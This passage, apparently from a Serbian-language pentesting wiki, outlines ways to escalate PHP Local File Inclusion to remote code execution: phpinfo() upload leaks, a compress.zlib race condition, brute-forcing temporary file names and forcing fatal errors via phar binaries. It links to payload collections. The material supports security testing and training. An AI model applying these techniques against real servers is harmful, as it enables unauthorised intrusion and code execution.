Ako ste pronašli **Local File Inclusion** i datoteku koja izlaže **phpinfo()** sa file_uploads = on, možete dobiti RCE:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Putem compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Otkrivanje putanje
Ako ste pronašli **Local File Inclusion** i možete **izvući putanju** privremene datoteke, ALI **server** **proverava** da li **datoteka koja se uključuje ima PHP oznake**, možete pokušati da **obiđete tu proveru** sa ovom **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Putem večnog čekanja + bruteforce
Ako možete da zloupotrebite LFI da **otpremite privremene datoteke** i naterate server da **zakaže** PHP izvršenje, mogli biste zatim **bruteforce-ovati imena datoteka tokom sati** da pronađete privremenu datoteku:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### Do Fatal Error
Ako uključite bilo koju od datoteka `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Morate uključiti istu dva puta da biste izazvali tu grešku).
**Ne znam koliko je ovo korisno, ali možda jeste.**\
_Čak i ako izazovete PHP Fatal Error, PHP privremene datoteke koje su otpremljene se brišu._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Reference
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{{#file}}
EN-Local-File-Inclusion-1.pdf
{{#endfile}}
{{#include ../../banners/hacktricks-training.md}}